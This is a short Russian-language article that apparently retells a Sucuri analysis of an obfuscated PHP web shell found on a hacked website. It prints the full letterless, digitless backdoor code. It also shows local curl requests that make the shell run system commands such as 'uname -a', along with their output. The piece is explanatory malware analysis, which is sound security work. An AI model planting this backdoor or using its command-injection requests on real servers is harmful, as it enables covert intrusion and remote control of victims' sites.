Администратор одного из веб-сайтов жалуется, что его сайт подвергся взлому. Он обнаружил PHP-шелл, в коде которого не было ни одной буквы или цифры.
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
Админ просит объяснить, что это такое. Специалисты компании Sucuri
объясняют, что суть бэкдоров в максимальной скрытности, поэтому их
авторы часто прибегают к необычным методам обфускации. Например, первая строчка @$_[]=@!+_ интерпретируется как array(true).
Код разбили на строки для ясности.
Для понимания попробуем выполнить его. В результате выполнения выскакивает ошибка.
PHP Notice: Undefined offset: 0 in /shell.php on line 16
PHP Fatal error: Function name must be a string in /shell.php on line 17
Судя по всему, shell.php ждет аргумента для 0 в коде $_[0]. Исследователи обратились к шеллу с аргументом system():
$ curl 'httx://127.0.0.1:9999/shell.php?0=system'
Ответа не было, но в логах сохранилось сообщение:
PHP Warning: system(): Cannot execute a blank command in /shell.php on line 17
Очевидно, функция system() ждет аргумента с валидной командой
для исполнения на сервере. Поскольку ее нет в коде, то ее нужно передать
еще один параметр в запросе.
$ curl 'httx://127.0.0.1:9999/shell.php?0=system &1=uname %20-a'
Linux linux 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux
Бэкдор в действии.
|